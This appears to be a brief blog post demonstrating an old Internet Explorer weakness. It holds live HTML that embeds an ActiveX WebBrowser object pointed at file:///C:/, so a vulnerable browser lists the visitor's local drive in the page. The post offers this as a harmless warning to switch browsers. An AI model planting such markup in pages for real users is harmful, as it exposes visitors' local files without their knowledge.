Friday, February 11, 2022

View your C drive with Internet Explorer

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  <p class="runner">[guest@localhost /zion/hack/provoke]# cat exploit</p>

<div class="center"><object id="browserIcons" classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B" align="baseline" border="0" width="311" height="100">
            <param name="ExtentX" value="8229">
            <param name="ExtentY" value="2646">
            <param name="ViewMode" value="3">
            <param name="Offline" value="0">
            <param name="Silent" value="0">
            <param name="RegisterAsBrowser" value="0">
            <param name="RegisterAsDropTarget" value="0">
            <param name="Height" value="100">
            <param name="Width" value="311">
            <param name="AutoArrange" value="1">
            <param name="NoClientEdge" value="0">
            <param name="AlignLeft" value="1">
            <param name="ViewID" value="{0057D0E0-3573-11CF-AE69-08002B2E1262}">
            <param name="Location" value="file:///C:/"></object></div>
<p>If you are on a Windows machine, and are using a vulnerable browser such as Micro$oft Internet Exploder, you will see the contents of your C: drive in a window above. If you see nothing, it means your browser cannot be exploited in this way.</p>
<p>If you do see the contents of your C: drive above, before you whip yourself into a panicked frenzy - relax, no one is recording this information, your computer has not been hacked. The code merely uses your browser to show you your C: drive, though an unscrupulous individual might go beyond that. So stop using Micro$oft Internet Exploder - try <a href="" target="_blank">Opera</a> or <a href="" target="_blank">Mozilla</a> instead.</p>

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